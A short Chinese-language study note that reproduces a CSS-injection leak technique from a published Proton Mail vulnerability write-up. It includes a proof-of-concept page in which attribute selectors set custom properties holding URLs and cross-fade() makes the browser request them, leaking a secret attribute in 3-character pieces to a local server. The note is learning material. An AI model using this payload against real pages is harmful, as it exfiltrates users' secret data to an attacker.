在学习Proton Mail 的xss利用时，作者利用css leak页面的一个uuid，本文学习并验证。
文章中利用了几个技术，将uuid按3位字符拆分，利用css selector来设置变量，最后利用cross-fade组合图片，将请求发出来，然后在服务端拼接。
缺点是css文件较大，因为要将所有的3字符组合全部写在css中。
css变量
利用css selector，设置变量。
需要注意：Note that the selector given to the ruleset defines the scope that the custom property can be used in.
利用cross-fade()发送请求
<html>
<body>
<div secret="9364538164"></div>
inject css below
<style></style>
</body>
</html>
The original syntax is supported in Safari and supported with the -webkit- prefix in Chrome, Opera, and other blink-based browsers.
结果
safari可以复现成功，在chrome下需要使用-webkit-cross-fade才可以。
<html>
<body>
<div secret="9364538164">div here</div>
inject css below
<style>
div[secret*="936"]{
--a936 : url("//127.0.0.1:8000/936.png");
}
div[secret*="364"]{
--a364 : url("//127.0.0.1:8000/364.png")
}
div[secret*="646"]{
--a364 : url("//127.0.0.1:8000/646.png")
}
div{
background-image: cross-fade(cross-fade(var(--a936,none) , var(--a364,none) , 50%), var(--a646,none) , 50%);
background-image: -webkit-cross-fade(-webkit-cross-fade(var(--a936,none) , var(--a364,none) , 50%), var(--a646,none) , 50%)
}
</style>
</body>
</html>
网页访问
服务端请求
演示时未将url替换为外部url。
https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/
https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_custom_properties
https://developer.mozilla.org/en-US/docs/Web/CSS/cross-fade